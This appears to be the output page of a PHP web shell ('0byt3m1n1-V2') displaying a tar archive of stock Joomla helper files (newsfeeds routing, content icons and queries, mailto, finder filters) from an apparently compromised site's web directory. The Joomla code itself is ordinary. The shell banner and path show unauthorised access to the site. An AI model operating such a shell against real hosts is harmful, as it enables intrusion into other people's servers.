0byt3m1n1-V2

Path: /home/a/c/a/academiac/www/ [ Home ]
File: helpers.tar
route.php�������������������������������������������������������������������������������������������0000666�����������������00000005771�15137154244�0006437 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Site
 * @subpackage	com_newsfeeds
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

// Component Helper
jimport('joomla.application.component.helper');
jimport('joomla.application.categories');

/**
 * Newsfeeds Component Route Helper
 *
 * @package		Joomla.Site
 * @subpackage	com_newsfeeds
 * @since		1.5
 */
abstract class NewsfeedsHelperRoute
{
	protected static $lookup;

	/**
	 * @param	int	The route of the newsfeed
	 */
	public static function getNewsfeedRoute($id, $catid)
	{
		$needles = array(
			'newsfeed'  => array((int) $id)
		);

		//Create the link
		$link = 'index.php?option=com_newsfeeds&view=newsfeed&id='. $id;

		if ((int)$catid > 1) {
			$categories = JCategories::getInstance('Newsfeeds');
			$category = $categories->get((int)$catid);

			if ($category) {
				//TODO Throw error that the category either not exists or is unpublished
				$needles['category'] = array_reverse($category->getPath());
				$needles['categories'] = $needles['category'];
				$link .= '&catid='.$catid;
			}
		}

		if ($item = self::_findItem($needles)) {
			$link .= '&Itemid='.$item;
		}

		return $link;
	}

	public static function getCategoryRoute($catid)
	{
		if ($catid instanceof JCategoryNode)
		{
			$id = $catid->id;
			$category = $catid;
		}
		else
		{
			$id = (int) $catid;
			$category = JCategories::getInstance('Newsfeeds')->get($id);
		}

		if ($id < 1 || !($category instanceof JCategoryNode))
		{
			$link = '';
		}
		else
		{
			$needles = array();
			
			//Create the link
			$link = 'index.php?option=com_newsfeeds&view=category&id='.$id;
			
			$catids = array_reverse($category->getPath());
			$needles['category'] = $catids;
			$needles['categories'] = $catids;

			if ($item = self::_findItem($needles))
			{
				$link .= '&Itemid='.$item;
			}
		}

		return $link;
	}

	protected static function _findItem($needles = null)
	{
		$app		= JFactory::getApplication();
		$menus		= $app->getMenu('site');

		// Prepare the reverse lookup array.
		if (self::$lookup === null)
		{
			self::$lookup = array();

			$component	= JComponentHelper::getComponent('com_newsfeeds');
			$items		= $menus->getItems('component_id', $component->id);
			foreach ($items as $item)
			{
				if (isset($item->query) && isset($item->query['view']))
				{
					$view = $item->query['view'];
					if (!isset(self::$lookup[$view])) {
						self::$lookup[$view] = array();
					}
					if (isset($item->query['id'])) {
						self::$lookup[$view][$item->query['id']] = $item->id;
					}
				}
			}
		}

		if ($needles)
		{
			foreach ($needles as $view => $ids)
			{
				if (isset(self::$lookup[$view]))
				{
					foreach($ids as $id)
					{
						if (isset(self::$lookup[$view][(int)$id])) {
							return self::$lookup[$view][(int)$id];
						}
					}
				}
			}
		}

		$active = $menus->getActive();
		if ($active)
		{
			return $active->id;
		}

		return null;
	}
}
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/**
 * @package		Joomla.Site
 * @subpackage	com_newsfeeds
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

// Component Helper
jimport('joomla.application.component.helper');
jimport('joomla.application.categories');

/**
 * Content Component Category Tree
 *
 * @static
 * @package		Joomla.Site
 * @subpackage	com_newsfeeds
 * @since 1.6
 */
class NewsfeedsCategories extends JCategories
{
	public function __construct($options = array())
	{
		$options['table'] = '#__newsfeeds';
		$options['extension'] = 'com_newsfeeds';
		$options['statefield'] = 'published';
		parent::__construct($options);
	}
}
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/**
 * @package		Joomla.Site
 * @subpackage	com_content
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * Content Component HTML Helper
 *
 * @static
 * @package		Joomla.Site
 * @subpackage	com_content
 * @since 1.5
 */
class JHtmlIcon
{
	static function create($category, $params)
	{
		$uri = JFactory::getURI();

		$url = 'index.php?option=com_content&task=article.add&return='.base64_encode(urlencode($uri)).'&a_id=0&catid=' . $category->id;

		if ($params->get('show_icons')) {
			$text = JHtml::_('image', 'system/new.png', JText::_('JNEW'), NULL, true);
		} else {
			$text = JText::_('JNEW').'&#160;';
		}

		$button =  JHtml::_('link', JRoute::_($url), $text);

		$output = '<span class="hasTip" title="'.JText::_('COM_CONTENT_CREATE_ARTICLE').'">'.$button.'</span>';
		return $output;
	}

	static function email($article, $params, $attribs = array())
	{
		require_once JPATH_SITE . '/components/com_mailto/helpers/mailto.php';
		$uri	= JURI::getInstance();
		$base	= $uri->toString(array('scheme', 'host', 'port'));
		$template = JFactory::getApplication()->getTemplate();
		$link	= $base.JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language) , false);
		$url	= 'index.php?option=com_mailto&tmpl=component&template='.$template.'&link='.MailToHelper::addLink($link);

		$status = 'width=400,height=350,menubar=yes,resizable=yes';

		if ($params->get('show_icons')) {
			$text = JHtml::_('image', 'system/emailButton.png', JText::_('JGLOBAL_EMAIL'), NULL, true);
		} else {
			$text = '&#160;'.JText::_('JGLOBAL_EMAIL');
		}

		$attribs['title']	= JText::_('JGLOBAL_EMAIL');
		$attribs['onclick'] = "window.open(this.href,'win2','".$status."'); return false;";

		$output = JHtml::_('link', JRoute::_($url), $text, $attribs);
		return $output;
	}

	/**
	 * Display an edit icon for the article.
	 *
	 * This icon will not display in a popup window, nor if the article is trashed.
	 * Edit access checks must be performed in the calling code.
	 *
	 * @param	object	$article	The article in question.
	 * @param	object	$params		The article parameters
	 * @param	array	$attribs	Not used??
	 *
	 * @return	string	The HTML for the article edit icon.
	 * @since	1.6
	 */
	static function edit($article, $params, $attribs = array())
	{
		// Initialise variables.
		$user	= JFactory::getUser();
		$userId	= $user->get('id');
		$uri	= JFactory::getURI();

		// Ignore if in a popup window.
		if ($params && $params->get('popup')) {
			return;
		}

		// Ignore if the state is negative (trashed).
		if ($article->state < 0) {
			return;
		}

		JHtml::_('behavior.tooltip');

		// Show checked_out icon if the article is checked out by a different user
		if (property_exists($article, 'checked_out') && property_exists($article, 'checked_out_time') && $article->checked_out > 0 && $article->checked_out != $user->get('id')) {
			$checkoutUser = JFactory::getUser($article->checked_out);
			$button = JHtml::_('image', 'system/checked_out.png', NULL, NULL, true);
			$date = JHtml::_('date', $article->checked_out_time);
			$tooltip = JText::_('JLIB_HTML_CHECKED_OUT').' :: '.JText::sprintf('COM_CONTENT_CHECKED_OUT_BY', $checkoutUser->name).' <br /> '.$date;
			return '<span class="hasTip" title="'.htmlspecialchars($tooltip, ENT_COMPAT, 'UTF-8').'">'.$button.'</span>';
		}

		$url	= 'index.php?option=com_content&task=article.edit&a_id='.$article->id.'&return='.base64_encode(urlencode($uri));
		$icon	= $article->state ? 'edit.png' : 'edit_unpublished.png';
		if (strtotime($article->publish_up) > strtotime(JFactory::getDate()))
		{
			$icon = 'edit_unpublished.png';
		}
		$text	= JHtml::_('image', 'system/'.$icon, JText::_('JGLOBAL_EDIT'), NULL, true);

		if ($article->state == 0) {
			$overlib = JText::_('JUNPUBLISHED');
		}
		else {
			$overlib = JText::_('JPUBLISHED');
		}

		$date = JHtml::_('date', $article->created);
		$author = $article->created_by_alias ? $article->created_by_alias : $article->author;

		$overlib .= '&lt;br /&gt;';
		$overlib .= $date;
		$overlib .= '&lt;br /&gt;';
		$overlib .= JText::sprintf('COM_CONTENT_WRITTEN_BY', htmlspecialchars($author, ENT_COMPAT, 'UTF-8'));

		$button = JHtml::_('link', JRoute::_($url), $text);

		$output = '<span class="hasTip" title="'.JText::_('COM_CONTENT_EDIT_ITEM').' :: '.$overlib.'">'.$button.'</span>';

		return $output;
	}


	static function print_popup($article, $params, $attribs = array())
	{
		$url  = ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language);
		$url .= '&tmpl=component&print=1&layout=default&page='.@ $request->limitstart;

		$status = 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no';

		// checks template image directory for image, if non found default are loaded
		if ($params->get('show_icons')) {
			$text = JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), NULL, true);
		} else {
			$text = JText::_('JGLOBAL_ICON_SEP') .'&#160;'. JText::_('JGLOBAL_PRINT') .'&#160;'. JText::_('JGLOBAL_ICON_SEP');
		}

		$attribs['title']	= JText::_('JGLOBAL_PRINT');
		$attribs['onclick'] = "window.open(this.href,'win2','".$status."'); return false;";
		$attribs['rel']		= 'nofollow';

		return JHtml::_('link', JRoute::_($url), $text, $attribs);
	}

	static function print_screen($article, $params, $attribs = array())
	{
		// checks template image directory for image, if non found default are loaded
		if ($params->get('show_icons')) {
			$text = JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), NULL, true);
		} else {
			$text = JText::_('JGLOBAL_ICON_SEP') .'&#160;'. JText::_('JGLOBAL_PRINT') .'&#160;'. JText::_('JGLOBAL_ICON_SEP');
		}
		return '<a href="#" onclick="window.print();return false;">'.$text.'</a>';
	}

}
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/**
 * @package		Joomla.Site
 * @subpackage	com_content
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// no direct access
defined('_JEXEC') or die;

/**
 * Content Component Query Helper
 *
 * @static
 * @package		Joomla.Site
 * @subpackage	com_content
 * @since		1.5
 */
class ContentHelperQuery
{
	/**
	 * Translate an order code to a field for primary category ordering.
	 *
	 * @param	string	$orderby	The ordering code.
	 *
	 * @return	string	The SQL field(s) to order by.
	 * @since	1.5
	 */
	public static function orderbyPrimary($orderby)
	{
		switch ($orderby)
		{
			case 'alpha' :
				$orderby = 'c.path, ';
				break;

			case 'ralpha' :
				$orderby = 'c.path DESC, ';
				break;

			case 'order' :
				$orderby = 'c.lft, ';
				break;

			default :
				$orderby = '';
				break;
		}

		return $orderby;
	}

	/**
	 * Translate an order code to a field for secondary category ordering.
	 *
	 * @param	string	$orderby	The ordering code.
	 * @param	string	$orderDate	The ordering code for the date.
	 *
	 * @return	string	The SQL field(s) to order by.
	 * @since	1.5
	 */
	public static function orderbySecondary($orderby, $orderDate = 'created')
	{
		$queryDate = self::getQueryDate($orderDate);

		switch ($orderby)
		{
			case 'date' :
				$orderby = $queryDate;
				break;

			case 'rdate' :
				$orderby = $queryDate . ' DESC ';
				break;

			case 'alpha' :
				$orderby = 'a.title';
				break;

			case 'ralpha' :
				$orderby = 'a.title DESC';
				break;

			case 'hits' :
				$orderby = 'a.hits DESC';
				break;

			case 'rhits' :
				$orderby = 'a.hits';
				break;

			case 'order' :
				$orderby = 'a.ordering';
				break;

			case 'author' :
				$orderby = 'author';
				break;

			case 'rauthor' :
				$orderby = 'author DESC';
				break;

			case 'front' :
				$orderby = 'a.featured DESC, fp.ordering';
				break;

			default :
				$orderby = 'a.ordering';
				break;
		}

		return $orderby;
	}

	/**
	 * Translate an order code to a field for primary category ordering.
	 *
	 * @param	string	$orderDate	The ordering code.
	 *
	 * @return	string	The SQL field(s) to order by.
	 * @since	1.6
	 */
	public static function getQueryDate($orderDate) {

		switch ($orderDate)
		{
			case 'modified' :
				$queryDate = ' CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END';
				break;

			// use created if publish_up is not set
			case 'published' :
				$queryDate = ' CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END ';
				break;

			case 'created' :
			default :
				$queryDate = ' a.created ';
				break;
		}

		return $queryDate;
	}

	/**
	 * Get join information for the voting query.
	 *
	 * @param	JRegistry	$param	An options object for the article.
	 *
	 * @return	array		A named array with "select" and "join" keys.
	 * @since	1.5
	 */
	public static function buildVotingQuery($params=null)
	{
		if (!$params) {
			$params = JComponentHelper::getParams('com_content');
		}

		$voting = $params->get('show_vote');

		if ($voting) {
			// calculate voting count
			$select = ' , ROUND(v.rating_sum / v.rating_count) AS rating, v.rating_count';
			$join = ' LEFT JOIN #__content_rating AS v ON a.id = v.content_id';
		}
		else {
			$select = '';
			$join = '';
		}

		$results = array ('select' => $select, 'join' => $join);

		return $results;
	}

	/**
	 * Method to order the intro articles array for ordering
	 * down the columns instead of across.
	 * The layout always lays the introtext articles out across columns.
	 * Array is reordered so that, when articles are displayed in index order
	 * across columns in the layout, the result is that the
	 * desired article ordering is achieved down the columns.
	 *
	 * @param	array	$articles	Array of intro text articles
	 * @param	integer	$numColumns	Number of columns in the layout
	 *
	 * @return	array	Reordered array to achieve desired ordering down columns
	 * @since	1.6
	 */
	public static function orderDownColumns(&$articles, $numColumns = 1)
	{
		$count = count($articles);

		// just return the same array if there is nothing to change
		if ($numColumns == 1 || !is_array($articles) || $count <= $numColumns) {
			$return = $articles;
		}
		// we need to re-order the intro articles array
		else {
			// we need to preserve the original array keys
			$keys = array_keys($articles);

			$maxRows = ceil($count / $numColumns);
			$numCells = $maxRows * $numColumns;
			$numEmpty = $numCells - $count;
			$index = array();

			// calculate number of empty cells in the array


			// fill in all cells of the array
			// put -1 in empty cells so we can skip later

			for ($row = 1, $i = 1; $row <= $maxRows; $row++)
			{
				for ($col = 1; $col <= $numColumns; $col++)
				{
					if ($numEmpty > ($numCells - $i)) {
						// put -1 in empty cells
						$index[$row][$col] = -1;
					}
					else {
						// put in zero as placeholder
						$index[$row][$col] = 0;
					}
					$i++;
				}
			}

			// layout the articles in column order, skipping empty cells
			$i = 0;
			for ($col = 1; ($col <= $numColumns) && ($i < $count); $col++)
			{
				for ($row = 1; ($row <= $maxRows) && ($i < $count); $row++)
				{
					if ($index[$row][$col] != - 1) {
						$index[$row][$col] = $keys[$i];
						$i++;
					}
				}
			}

			// now read the $index back row by row to get articles in right row/col
			// so that they will actually be ordered down the columns (when read by row in the layout)
			$return = array();
			$i = 0;
			for ($row = 1; ($row <= $maxRows) && ($i < $count); $row++)
			{
				for ($col = 1; ($col <= $numColumns) && ($i < $count); $col++)
				{
					$return[$keys[$i]] = $articles[$index[$row][$col]];
					$i++;
				}
			}
		}
		return $return;
	}
}
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/**
 * @package		Joomla.Site
 * @subpackage	com_mailto
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * @package		Joomla.Site
 * @subpackage	com_mailto
 */
abstract class MailtoHelper
{
	/**
	 * Adds a URL to the mailto system and returns the hash
	 *
	 * @param string url
	 * @return URL hash
	 */
	public static function addLink($url)
	{
		$hash = sha1($url);
		self::cleanHashes();
		$session = JFactory::getSession();
		$mailto_links = $session->get('com_mailto.links', array());
		if(!isset($mailto_links[$hash]))
		{
			$mailto_links[$hash] = new stdClass();
		}
		$mailto_links[$hash]->link = $url;
		$mailto_links[$hash]->expiry = time();
		$session->set('com_mailto.links', $mailto_links);
		return $hash;
	}

	/**
	 * Checks if a URL is a Flash file
	 *
	 * @param string
	 * @return URL
	 */
	public static function validateHash($hash)
	{
		$retval = false;
		$session = JFactory::getSession();
		self::cleanHashes();
		$mailto_links = $session->get('com_mailto.links', array());
		if(isset($mailto_links[$hash]))
		{
			$retval = $mailto_links[$hash]->link;
		}
		return $retval;
	}

	/**
	 * Cleans out old hashes
	 *
	 * @since 1.6.1
	 */
	public static function cleanHashes($lifetime = 1440)
	{
		// flag for if we've cleaned on this cycle
		static $cleaned = false;
		if(!$cleaned)
		{
			$past = time() - $lifetime;
			$session = JFactory::getSession();
			$mailto_links = $session->get('com_mailto.links', array());
			foreach($mailto_links as $index=>$link)
			{
				if($link->expiry < $past)
				{
					unset($mailto_links[$index]);
				}
			}
			$session->set('com_mailto.links', $mailto_links);
			$cleaned = true;
		}


	}
}
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Order allow,deny
Deny from all
</FilesMatch>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/index.html�������������������������������������������������������������������������������������0000666�����������������00000000036�15137155135�0007516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!DOCTYPE html><title></title>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/filter.php�������������������������������������������������������������������������������������0000666�����������������00000036424�15137155135�0007531 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * Filter HTML Behaviors for Finder.
 *
 * @package     Joomla.Site
 * @subpackage  com_finder
 * @since       2.5
 */
abstract class JHtmlFilter
{
	/**
	 * Method to generate filters using the slider widget and decorated
	 * with the FinderFilter JavaScript behaviors.
	 *
	 * @param   array  $options  An array of configuration options. [optional]
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function slider($options = array())
	{
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());
		$html = '';
		$in = '';
		$filter = null;

		// Get the configuration options.
		$filterId = array_key_exists('filter_id', $options) ? $options['filter_id'] : null;
		$activeNodes = array_key_exists('selected_nodes', $options) ? $options['selected_nodes'] : array();
		$activeDates = array_key_exists('selected_dates', $options) ? $options['selected_dates'] : array();
		$classSuffix = array_key_exists('class_suffix', $options) ? $options['class_suffix'] : '';
		$loadMedia = array_key_exists('load_media', $options) ? $options['load_media'] : true;
		$showDates = array_key_exists('show_date_filters', $options) ? $options['show_date_filters'] : false;

		// Load the predefined filter if specified.
		if (!empty($filterId))
		{
			$query->select('f.' . $db->quoteName('data') . ', f.' . $db->quoteName('params'));
			$query->from($db->quoteName('#__finder_filters') . ' AS f');
			$query->where($db->quoteName('f').'.' . $db->quoteName('filter_id') . ' = ' . (int) $filterId);

			// Load the filter data.
			$db->setQuery($query);
			$filter = $db->loadObject();

			// Check for an error.
			if ($db->getErrorNum())
			{
				return null;
			}

			// Initialize the filter parameters.
			if ($filter)
			{
				$registry = new JRegistry;
				$registry->loadString($filter->params);
				$filter->params = $registry;
			}
		}

		// Build the query to get the branch data and the number of child nodes.
		$query->clear();
		$query->select('t.*, count(c.id) AS children');
		$query->from($db->quoteName('#__finder_taxonomy') . ' AS t');
		$query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id');
		$query->where($db->quoteName('t.parent_id') . ' = 1');
		$query->where($db->quoteName('t.state') . ' = 1');
		$query->where($db->quoteName('t.access') . ' IN (' . $groups . ')');
		$query->where($db->quoteName('c.state') . ' = 1');
		$query->where($db->quoteName('c.access') . ' IN (' . $groups . ')');
		$query->group('t.id, t.parent_id, t.state, t.access, t.ordering, t.title, c.parent_id');
		$query->order('t.ordering, t.title');

		// Limit the branch children to a predefined filter.
		if ($filter)
		{
			$query->where('c.id IN(' . $filter->data . ')');
		}

		// Load the branches.
		$db->setQuery($query);
		$branches = $db->loadObjectList('id');

		// Check for an error.
		if ($db->getErrorNum())
		{
			return null;
		}

		// Check that we have at least one branch.
		if (count($branches) === 0)
		{
			return null;
		}

		// Load the CSS/JS resources.
		if ($loadMedia)
		{
			JHtml::stylesheet('com_finder/sliderfilter.css', false, true, false);
			JHtml::script('com_finder/sliderfilter.js', false, true);
		}

		// Load plug-in language files.
		FinderHelperLanguage::loadPluginLanguage();

		// Start the widget.
		$html .= '<div id="finder-filter-container">';
		$html .= '<dl id="branch-selectors">';
		$html .= '<dt>';
		$html .= '<label for="tax-select-all">';
		$html .= '<input type="checkbox" id="tax-select-all" />';
		$html .= JText::_('COM_FINDER_FILTER_SELECT_ALL_LABEL');
		$html .= '</label>';
		$html .= '</dt>';

		// Iterate through the branches to build the branch selector.
		foreach ($branches as $bk => $bv)
		{
			// If the multi-lang plug-in is enabled then drop the language branch.
			if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) {
				continue;
			}

			$html .= '<dd>';
			$html .= '<label for="tax-' . $bk . '">';
			$html .= '<input type="checkbox" class="toggler" id="tax-' . $bk . '"/>';
			$html .= JText::sprintf('COM_FINDER_FILTER_BRANCH_LABEL', JText::_(FinderHelperLanguage::branchSingular($bv->title)));
			$html .= '</label>';
			$html .= '</dd>';
		}

		$html .= '</dl>';
		$html .= '<div id="finder-filter-container">';

		// Iterate through the branches and build the branch groups.
		foreach ($branches as $bk => $bv)
		{
			// If the multi-lang plug-in is enabled then drop the language branch.
			if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) {
				continue;
			}

			// Build the query to get the child nodes for this branch.
			$query->clear();
			$query->select('t.*');
			$query->from($db->quoteName('#__finder_taxonomy') . ' AS t');
			$query->where($db->quoteName('t.parent_id') . ' = ' . (int) $bk);
			$query->where($db->quoteName('t.state') . ' = 1');
			$query->where($db->quoteName('t.access') . ' IN (' . $groups . ')');
			$query->order('t.ordering, t.title');

			// Load the branches.
			$db->setQuery($query);
			$nodes = $db->loadObjectList('id');

			// Check for an error.
			if ($db->getErrorNum())
			{
				return null;
			}

			// Translate node titles if possible.
			$lang = JFactory::getLanguage();
			foreach ($nodes as $nk => $nv) {
				$key = FinderHelperLanguage::branchPlural($nv->title);
				if ($lang->hasKey($key)) {
					$nodes[$nk]->title = JText::_($key);
				}
			}

			// Start the group.
			$html .= '<dl class="checklist" rel="tax-' . $bk . '">';
			$html .= '<dt>';
			$html .= '<label for="tax-' . JFilterOutput::stringUrlSafe($bv->title) . '">';
			$html .= '<input type="checkbox" class="branch-selector filter-branch' . $classSuffix . '" id="tax-' . JFilterOutput::stringUrlSafe($bv->title) . '" />';
			$html .= JText::sprintf('COM_FINDER_FILTER_BRANCH_LABEL', JText::_(FinderHelperLanguage::branchSingular($bv->title)));
			$html .= '</label>';
			$html .= '</dt>';

			// Populate the group with nodes.
			foreach ($nodes as $nk => $nv)
			{
				// Determine if the node should be checked.
				$checked = in_array($nk, $activeNodes) ? ' checked="checked"' : '';

				// Build a node.
				$html .= '<dd>';
				$html .= '<label for="tax-' . $nk . '">';
				$html .= '<input class="selector filter-node' . $classSuffix . '" type="checkbox" value="' . $nk . '" name="t[]" id="tax-' . $nk . '"' . $checked . ' />';
				$html .= $nv->title;
				$html .= '</label>';
				$html .= '</dd>';
			}

			// Close the group.
			$html .= '</dl>';
		}

		// Close the widget.
		$html .= '<div class="clr"></div>';
		$html .= '</div>';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Method to generate filters using select box drop down controls.
	 *
	 * @param   FinderIndexerQuery  $query    A FinderIndexerQuery object.
	 * @param   array               $options  An array of options.
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function select($query, $options)
	{
		$user 	= JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());
		$filter = null;

		// Get the configuration options.
		$classSuffix = $options->get('class_suffix', null);
		$loadMedia = $options->get('load_media', true);
		$showDates = $options->get('show_date_filters', false);

		// Try to load the results from cache.
		$cache = JFactory::getCache('com_finder', '');
		$cacheId = 'filter_select_' . serialize(array($query->filter, $options, $groups, JFactory::getLanguage()->getTag()));

		// Check the cached results.
		if (!($branches = $cache->get($cacheId)))
		{
			$db = JFactory::getDBO();
			$sql = $db->getQuery(true);

			// Load the predefined filter if specified.
			if (!empty($query->filter))
			{
				$sql->select($db->quoteName('f') . '.' . $db->quoteName('data') . ', '. $db->quoteName('f') . '.' . $db->quoteName('params'));
				$sql->from($db->quoteName('#__finder_filters') . ' AS f');
				$sql->where($db->quoteName('f') . '.' . $db->quoteName('filter_id') . ' = ' . (int) $query->filter);

				// Load the filter data.
				$db->setQuery($sql);
				$filter = $db->loadObject();

				// Check for an error.
				if ($db->getErrorNum())
				{
					return null;
				}

				// Initialize the filter parameters.
				if ($filter)
				{
					$registry = new JRegistry;
					$registry->loadString($filter->params);
					$filter->params = $registry;
				}
			}

			// Build the query to get the branch data and the number of child nodes.
			$sql->clear();
			$sql->select('t.*, count(c.id) AS children');
			$sql->from($db->quoteName('#__finder_taxonomy') . ' AS t');
			$sql->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id');
			$sql->where($db->quoteName('t') . '.' . $db->quoteName('parent_id') . ' = 1');
			$sql->where($db->quoteName('t') . '.' . $db->quoteName('state') . ' = 1');
			$sql->where($db->quoteName('t') . '.' . $db->quoteName('access') . ' IN (' . $groups . ')');
			$sql->where($db->quoteName('c') . '.' . $db->quoteName('state') . ' = 1');
			$sql->where($db->quoteName('t') . '.' . $db->quoteName('access') . ' IN (' . $groups . ')');
			$sql->group($db->quoteName('t') . '.' . $db->quoteName('id'));
			$sql->order('t.ordering, t.title');

			// Limit the branch children to a predefined filter.
			if (!empty($filter->data))
			{
				$sql->where('c.id IN(' . $filter->data . ')');
			}

			// Load the branches.
			$db->setQuery($sql);
			$branches = $db->loadObjectList('id');

			// Check for an error.
			if ($db->getErrorNum())
			{
				return null;
			}

			// Check that we have at least one branch.
			if (count($branches) === 0)
			{
				return null;
			}


			// Iterate through the branches and build the branch groups.
			foreach ($branches as $bk => $bv)
			{
				// If the multi-lang plug-in is enabled then drop the language branch.
				if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) {
					continue;
				}

				// Build the query to get the child nodes for this branch.
				$sql->clear();
				$sql->select('t.*');
				$sql->from($db->quoteName('#__finder_taxonomy') . ' AS t');
				$sql->where($db->quoteName('t') . '.' . $db->quoteName('parent_id') . ' = ' . (int) $bk);
				$sql->where($db->quoteName('t') . '.' . $db->quoteName('state') . ' = 1');
				$sql->where($db->quoteName('t') . '.' . $db->quoteName('access') . ' IN (' . $groups . ')');
				$sql->order('t.ordering, t.title');

				// Limit the nodes to a predefined filter.
				if (!empty($filter->data))
				{
					$sql->where('t.id IN(' . $filter->data . ')');
				}

				// Load the branches.
				$db->setQuery($sql);
				$branches[$bk]->nodes = $db->loadObjectList('id');

				// Check for an error.
				if ($db->getErrorNum())
				{
					return null;
				}

				// Translate branch nodes if possible.
				$language = JFactory::getLanguage();
				foreach($branches[$bk]->nodes as $node_id => $node) {
					$key = FinderHelperLanguage::branchPlural($node->title);
					if ($language->hasKey($key)) {
						$branches[$bk]->nodes[$node_id]->title = JText::_($key);
					}
				}

				// Add the Search All option to the branch.
				array_unshift($branches[$bk]->nodes, array('id' => null, 'title' => JText::_('COM_FINDER_FILTER_SELECT_ALL_LABEL')));
			}

			// Store the data in cache.
			$cache->store($branches, $cacheId);
		}

		$html = '';

		// Add the dates if enabled.
		if ($showDates)
		{
			$html .= JHtml::_('filter.dates', $query, $options);
		}

		$html .= '<ul id="finder-filter-select-list">';

		// Iterate through all branches and build code.
		foreach ($branches as $bk => $bv)
		{
			// If the multi-lang plug-in is enabled then drop the language branch.
			if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) {
				continue;
			}

			$active = null;

			// Check if the branch is in the filter.
			if (array_key_exists($bv->title, $query->filters))
			{
				// Get the request filters.
				$temp = JFactory::getApplication()->input->request->get('t', array(), 'array');

				// Search for active nodes in the branch and get the active node.
				$active = array_intersect($temp, $query->filters[$bv->title]);
				$active = count($active) === 1 ? array_shift($active) : null;
			}

			$html .= '<li class="filter-branch' . $classSuffix . '">';
			$html .= '<label for="tax-' . JFilterOutput::stringUrlSafe($bv->title) . '">';
			$html .= JText::sprintf('COM_FINDER_FILTER_BRANCH_LABEL', JText::_(FinderHelperLanguage::branchSingular($bv->title)));
			$html .= '</label>';
			$html .= JHtml::_('select.genericlist', $branches[$bk]->nodes, 't[]', 'class="inputbox"', 'id', 'title', $active, 'tax-' . JFilterOutput::stringUrlSafe($bv->title));
			$html .= '</li>';
		}

		// Close the widget.
		$html .= '</ul>';

		// Load the CSS/JS resources.
		if ($loadMedia)
		{
			JHtml::stylesheet('com_finder/sliderfilter.css', false, true, false);
		}

		return $html;
	}

	/**
	 * Method to generate fields for filtering dates
	 *
	 * @param   FinderIndexerQuery  $query    A FinderIndexerQuery object.
	 * @param   array               $options  An array of options.
	 *
	 * @return  mixed  A rendered HTML widget on success, null otherwise.
	 *
	 * @since   2.5
	 */
	public static function dates($query, $options)
	{
		$html = '';

		// Get the configuration options.
		$classSuffix = $options->get('class_suffix', null);
		$loadMedia = $options->get('load_media', true);
		$showDates = $options->get('show_date_filters', false);

		if (!empty($showDates))
		{
			// Build the date operators options.
			$operators = array();
			$operators[] = JHtml::_('select.option', 'before', JText::_('COM_FINDER_FILTER_DATE_BEFORE'));
			$operators[] = JHtml::_('select.option', 'exact', JText::_('COM_FINDER_FILTER_DATE_EXACTLY'));
			$operators[] = JHtml::_('select.option', 'after', JText::_('COM_FINDER_FILTER_DATE_AFTER'));

			// Load the CSS/JS resources.
			if ($loadMedia)
			{
				JHtml::stylesheet('com_finder/dates.css', false, true, false);
			}

			// Open the widget.
			$html .= '<ul id="finder-filter-select-dates">';

			// Start date filter.
			$html .= '<li class="filter-date' . $classSuffix . '">';
			$html .= '<label for="filter_date1">';
			$html .= JText::_('COM_FINDER_FILTER_DATE1');
			$html .= '</label>';
			$html .= '<br />';
			$html .= JHtml::_('select.genericlist', $operators, 'w1', 'class="inputbox filter-date-operator"', 'value', 'text', $query->when1, 'finder-filter-w1');
